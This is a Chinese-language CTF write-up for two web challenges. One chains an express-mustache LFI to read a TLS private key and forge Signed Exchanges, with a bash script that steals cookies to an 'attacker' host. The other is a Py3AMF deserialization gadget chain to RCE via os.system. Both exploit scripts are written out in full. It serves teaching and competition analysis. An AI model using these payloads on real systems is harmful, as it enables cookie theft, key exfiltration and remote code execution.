English version:
今年我只出了兩題,讚ㄛ,這樣我寫 write-up 輕鬆多了 👍
不過其實本來想要出四題的:其中一題是逆向,雖然有梗懶得寫;啊然後另外一題 Web 寫是寫好了,但來不及趕在倒數 24 小時線前部署。總之呢,這大概意味著它們可能會出現在其他 CTF 👀
Sharer's World
這是一個普通的檔案上傳服務。這題裡我們給的原始碼包含了 web 本體、admin bot、還有用來簽 HTTPS 相關的簽章(但沒給私鑰)。
TL;DR
Signed Exchange (SXG)。
功能概述
在開始深入講解法之前,我們先來大致看一下它能幹嘛吧。
這個網站它可以讓你上傳任意的檔案,除此之外還允許你自訂任意的 mimetype;在上傳後你可以從 /file/<uuid>
的路徑瀏覽到它,同時它的 content-type header 當然也會是你上傳時指定的 mimetype。另外,你還可以在 /preview/<uuid>
的路徑「預覽」它,說是預覽,其實只是把檔案嵌入一個有 sandbox 的 iframe 裡,大概像這樣:
<iframe src="/file/<uuid>" width="100%" height="500px" sandbox></iframe>
欸!我們可以自訂 mimetype 了,這樣聽起來就超級危險的對吧?塞個 text/html 就可以 XSS 了。所以我們這邊也給出了一個超嚴格的 CSP——其中的 frame-src
只會在對應的 preivew 頁面出現。
default-src 'none'; style-src https://sharer.world/static/simple.css; frame-src https://sharer.world/file/<uuid>
除了 CSP 以外,前面提及的 iframe sandbox 屬性也防止了我們在 preview 頁面搞事,像是執行 JavaScript 之類的。
那麽作為一個 XSS 題,回報功能肯定不能少的。在這邊我們可以回報檔案的 uuid,然後回報頁面後端會送一個請求到 https://admin-bot.sharer.world/visit?path=/preview/<file_id>&token=<token>
叫 bot 去瀏覽。
所以,最重要的 flag 在哪呢?
page.setCookie({
name: "FLAG",
value: FLAG,
domain: BOT_HOST,
path: "/flag",
secure: true,
sameSite: "Strict",
});
對,flag 擺在 https://admin-bot.sharer.world/flag
上的 cookie,而那個 bot 頁面甚至沒有 /flag 路徑。喔幹這是啥潲。
利用方式
首先,有一個明顯的可利用點是這題有一個 LFI 漏洞。
在 /report
路徑底下有一個經典的 pattern,長得類似這樣: res.render("template", req.body)
。不知道的人這邊有一個以 ejs 為主題的較為完整的統整:https://blog.huli.tw/2023/06/22/ejs-render-vulnerability-ctf/
在這題裡,它用的是 express-mustache
,據我所知應該是不能像其他的模板引擎一樣打出 RCE,但足以達成 LFI 了,總之 POST 以下的資料就行,這邊我就不追它內部的利用鏈了:
settings[view engine]=js # extension
&settings[views]=/
&settings[layout]=/app/app # file without extension
但作為一個 XSS 題,我們該讀什麼檔?
恩,我先來介紹個酷東西好了——SXG(簽名交換)。它功能上有點像是「簽章過的網頁」,理論上只有該網域的持有者才能簽它底下的網頁,驗證方法跟一般簽 HTTPS 差不多。而一個合法的 SXG 則可以被解碼成該網域底下的任意網頁(包含回應標頭和內文)。
好,回到題目。接下來我們可以透過讀取 fullchain.pem
得知其實該簽章有加 SXG 延伸功能 (extension) —— 1.3.6.1.4.1.11129.2.1.22。其實我覺得應該看起來蠻明顯的,因為這個延伸功能在大部分的檢視器裡,應該都會是唯一一個沒名字的延伸功能。喔對了,這個簽章同時簽了 sharer.world 和 *.sharer.world。
你也可以用 openssl x509 -in fullchain.pem -text
來讀該檔案
好,現在一切都串起來了。
我們可以利用前面提到的 LFI bug 來讀到伺服器上的私鑰,接著就能用它來幫我們自己簽 SXG 。也就是說,現在我們可以偽造 sharer.world 和 *.sharer.world 上所有的網頁內容了!以這題的目標來說,我們只要簽一個位在 https://admin-bot.sharer.world/flag
的 XSS 頁面就好,唯一功能就是經典的偷 cookie。
現在剩最後一個小問題:我們回報時只能給檔案的 uuid,讓 bot 去瀏覽 /preview/<uuid>
,但這樣會被 CSP 跟 iframe sandbox 限制住,我們應該希望 bot 能直接瀏覽到 SXG 的頁面。這邊的解決方法一樣是 SXG,我們需要利用它裡面的 cert URI 功能。
SXG 中的 cert URI 顧名思義是一個 URI,它如果是個 https URL 的話,瀏覽器在讀到 SXG 的時候就會對那個 URI 送一個 GET 請求。因此,我們只要把 SXG 的 cert-uri 設定成 https://bot/visit?path=/file/<XSS-SXG-uuid>
,如此一來當 bot 在預覽我們給的檔案 uuid 的時候,瀏覽器就會開始解析預覽頁面 iframe 中的 SXG,這時瀏覽器便會在背後送一個 GET 請求過去,這樣就能讓 bot 順利直接造訪我們的 SXG 頁面了。
其實不一定要上傳一個用來 XSS /flag 頁面的 SXG 到我們的題目上。
也有另外一種作法是/visit?path=@attacker.com/xss.sxg
——SXG 不一定要在一樣的 domain才能運作。
喔對了!值得注意的是,關於那個 cert URI 的那個小技巧它根本不會管 CSP、SOP 之類的限制,同時,即使該 SXG 不是合法的也能利用它。
攻擊鏈總結
- LFI 讀檔:privkey.pem
- 產生 https://bot/flag 的 SXG
-> XSS.sxg - 產生透過 cert URI 來 CSRF (GET https://bot/visit?path=/file/XSS.sxg) 的 SXG
-> CSRF.sxg - 上傳 XSS.sxg, CSRF.sxg
- 回報 CSRF.sxg
攻擊腳本
在這邊我用 signedexchange 來簽 SXG。
#!/bin/bash
BASE_URL='https://sharer.world'
# upload function
function upload() {
curl -s $BASE_URL/upload -F "file=@$1;type=$2" | grep -e 'preview' | cut -d'/' -f3
}
curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=fullchain' -o cert.pem
curl -s https://sharer.world/report --data 'settings[view%20engine]=pem&settings[views]=/opt/certificates/&settings[layout]=privkey' -o priv.key
~/go/bin/gen-certurl -pem cert.pem > cert.cbor
token="..."
echo "<script>location='http://attacker:1337/?'+document.cookie</script>" > xss.html
~/go/bin/gen-signedexchange \
-uri "https://admin-bot.sharer.world/flag" \
-content xss.html \
-certificate cert.pem \
-privateKey priv.key \
-certUrl "data:application/cert-chain+cbor;base64,$(base64 -i cert.cbor)" \
-validityUrl "https://admin-bot.sharer.world/resource.validity.msg" \
-o xss.html.sxg
file_id="$(upload 'xss.html.sxg' 'application/signed-exchange;v=b3')"
echo "XSS file_id: $file_id"
touch empty.html
~/go/bin/gen-signedexchange \
-uri "https://example.com/" \
-content empty.html \
-certificate cert.pem \
-privateKey priv.key \
-certUrl "https://admin-bot.sharer.world/visit?path=/file/$file_id&token=$token" \
-validityUrl "https://example.com/resource.validity.msg" \
-o cert-request.html.sxg
file_id="$(upload 'cert-request.html.sxg' 'application/signed-exchange;v=b3')"
echo "Req file_id: $file_id"
curl "$BASE_URL/report" --data "file_id=$file_id&token=$token"
其他參賽者 write-up
AMF
找 gadget 挑戰!就是那種喜歡的會很喜歡,討厭的會覺得超浪費時間的題目。
TL;DR
簡單暴力,找一個 Py3AMF 的 RCE 就對了。
在它的實作裡,TYPE_OBJECT 這個 bytecode 可以 import 任意的 Python 模組然後 __new__
它。接著你可以對剛剛 new 出來的東西設任意的屬性上去。好了夠了可以開始打 RCE 了。
找尋心法
(還沒寫,等我寫好了再丟 ChatGPT 翻譯再丟去英文版)
攻擊腳本
懶得解釋,有空再說
from pyamf import amf0, amf3, util
AMF = amf3
def serialize(obj):
stream = util.BufferedByteStream()
context = AMF.Context()
encoder = AMF.Encoder(stream, context)
encoder.writeElement(obj)
return stream.getvalue()
def deserialize(data):
stream = util.BufferedByteStream(data)
context = AMF.Context()
decoder = AMF.Decoder(stream, context)
return decoder.readElement()
def serialize_attrs(attrs):
s = b""
for k, v in attrs.items():
s += serialize(k)[1:]
if isinstance(v, Obj):
s += v.serialize()
else:
s += serialize(v)
s += serialize(None)
return s
class Obj:
def __init__(self, _name, **kwargs):
self.name = _name
self.attrs = kwargs
def serialize(self):
s = b"\x0a\x0b" + serialize(self.name)[1:]
s += serialize_attrs(self.attrs)
return s
serialized = Obj(
"pyamf.amf3.ByteArray",
_len_changed=True,
_len=48763,
_get_len=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"xmlrpc.client._Method",
_Method__send=Obj(
"pyamf.remoting.gateway.ServiceWrapper",
service=Obj(
"pdb.Pdb",
curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),
curframe_locals={},
stdout=None
),
),
_Method__name="do_break",
),
_Method__name="""
__import__("os").system("id")
""".strip(), # your exploit here
),
).serialize()
# print(len(deserialize(serialized)))
import requests
serialized = b"\x11" + serialized
r = requests.post(
"http://150846998b1a9bc25ed995d94237bbb3.amf.chal.hitconctf.com/",
data=b"\x00\x03"
+ b"\x00\x00"
+ b"\x00\x01"
+ b"\x00\x01a"
+ b"\x00\x01b"
+ len(serialized).to_bytes(4, "big") + serialized,
)
print(r.text)